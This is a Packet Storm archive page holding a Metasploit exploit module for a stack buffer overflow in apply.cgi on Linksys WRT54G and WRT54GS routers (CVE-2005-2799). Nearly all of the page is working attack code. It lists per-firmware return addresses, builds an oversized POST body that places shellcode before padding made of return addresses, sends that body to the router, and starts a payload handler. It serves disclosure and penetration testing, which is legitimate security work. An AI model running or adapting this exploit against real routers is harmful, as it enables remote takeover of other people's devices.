what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linksys apply.cgi Buffer Overflow

Linksys apply.cgi Buffer Overflow
Posted Oct 27, 2009
Authored by Raphael Rigo, Julien Tinnes

This Metasploit module exploits a stack overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers. According to iDefense who discovered this vulnerability, all WRT54G versions prior to 4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.

tags | exploit, overflow, cgi
advisories | CVE-2005-2799
SHA-256 | 05f730badb59943ab48414e62810156de18000b427d38198a0facb7c98a34364

Linksys apply.cgi Buffer Overflow

Change Mirror Download
require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys apply.cgi buffer overflow',
'Description' => %q{
This module exploits a stack overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
According to iDefense who discovered this vulnerability, all WRT54G versions prior to
4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.
},
'Author' => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2005-2799'],
[ 'OSVDB', '19389' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
],
'Payload' =>
{
#'BadChars' => "\x00",
'Space' => 10000,
'DisableNops' => true,
},
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'Targets' =>
[
# the middle of the intersection is our generic address
#((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16)
[ 'Generic', { 'Bufaddr' => 0x10002b50}],
[ 'Version 1.42.2', { 'Bufaddr' => 0x100016a8 }],
[ 'Version 2.02.6beta1', { 'Bufaddr' => 0x10001760 }],
[ 'Version 2.02.7_ETSI', { 'Bufaddr' => 0x10001634 }],
[ 'Version 3.03.6', { 'Bufaddr' => 0x10001830 }],
[ 'Version 4.00.7', { 'Bufaddr' => 0x10001AD8 }],
[ 'Version 4.20.06', { 'Bufaddr' => 0x10001B50 }],
],
'DisclosureDate' => 'Sep 13 2005',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(80),
Opt::RHOST('192.168.1.1')
], self.class)
end


# Approx size of the remaining space in the data segment after our buffer
DataSegSize=0x4000
def exploit
c = connect

print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}")
print_status("Shellcode length: #{payload.encoded.length}")

addr = [target['Bufaddr']].pack('V')

# original = "Cache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\x00\x00\x00"
# original += "\x10\xAD\x43\x00\x18\xAD\x43\x00\x70\x3e\x00\x10\x00\x00\x00\x00"
# Pointers in 2.02.6beta1


# | BIG BUFFER | Various structs and function pointers | ... | .ctors | .dtors | ... | .got |
# | <- 10000 -> | **************************** Pad with return address ***********************
# I know this is horrible :( - On the other side this is very generic :)
post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)

#post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+original+addr*2#+"\x24\xad\x43"

# res = send_request_cgi({ 'uri' => "/apply.cgi",
# 'method' => 'POST',
# 'data' => post_data });
# print_status("Malicious request sent, do_ej should be overwritten")

req = c.request_cgi({ 'uri' => "/apply.cgi",
'method' => 'POST',
'data' => post_data })
c.send_request(req)
print_status("Mayhem sent")


# req=c.request_cgi('uri' => '/');
# c.send_request(req);
# print_status("do_ej triggered")

handler
disconnect
end

end

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close